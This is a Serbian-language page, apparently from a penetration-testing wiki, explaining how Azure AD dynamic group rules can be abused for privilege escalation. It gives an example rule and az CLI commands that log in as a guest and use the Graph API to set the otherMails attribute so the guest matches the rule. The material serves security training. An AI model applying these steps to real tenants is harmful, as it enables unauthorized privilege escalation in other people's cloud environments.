# Az - Dynamic Groups Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Osnovne Informacije

**Dynamic groups** su grupe koje imaju set **pravila** konfigurisanih i svi **korisnici ili uređaji** koji se poklapaju sa pravilima se dodaju u grupu. Svaki put kada se **atribut** korisnika ili uređaja **promeni**, dinamička pravila se **ponovo proveravaju**. A kada se **novo pravilo** **kreira**, svi uređaji i korisnici se **proveravaju**.

Dinamičkim grupama se mogu dodeliti **Azure RBAC uloge**, ali nije **moguće** dodati **AzureAD uloge** dinamičkim grupama.

Ova funkcija zahteva Azure AD premium P1 licencu.

## Privesc

Imajte na umu da po defaultu bilo koji korisnik može pozvati goste u Azure AD, tako da, ako dinamička grupa **pravilo** daje **dozvole** korisnicima na osnovu **atributa** koji se mogu **postaviti** kod novog **gosta**, moguće je **kreirati gosta** sa ovim atributima i **escalirati privilegije**. Takođe je moguće da gost upravlja svojim profilom i menja ove atribute.

Dobijte grupe koje omogućavaju dinamičko članstvo: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**

### Primer

- **Primer pravila**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
- **Opis pravila**: Bilo koji gost korisnik sa sekundarnim emailom koji sadrži string 'security' biće dodat u grupu

Za email gost korisnika, prihvatite pozivnicu i proverite trenutne postavke **tog korisnika** u [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Nažalost, stranica ne dozvoljava modifikaciju vrednosti atributa, tako da moramo koristiti API:
```bash
# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
```
## Reference

- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)

{{#include ../../../../banners/hacktricks-training.md}}
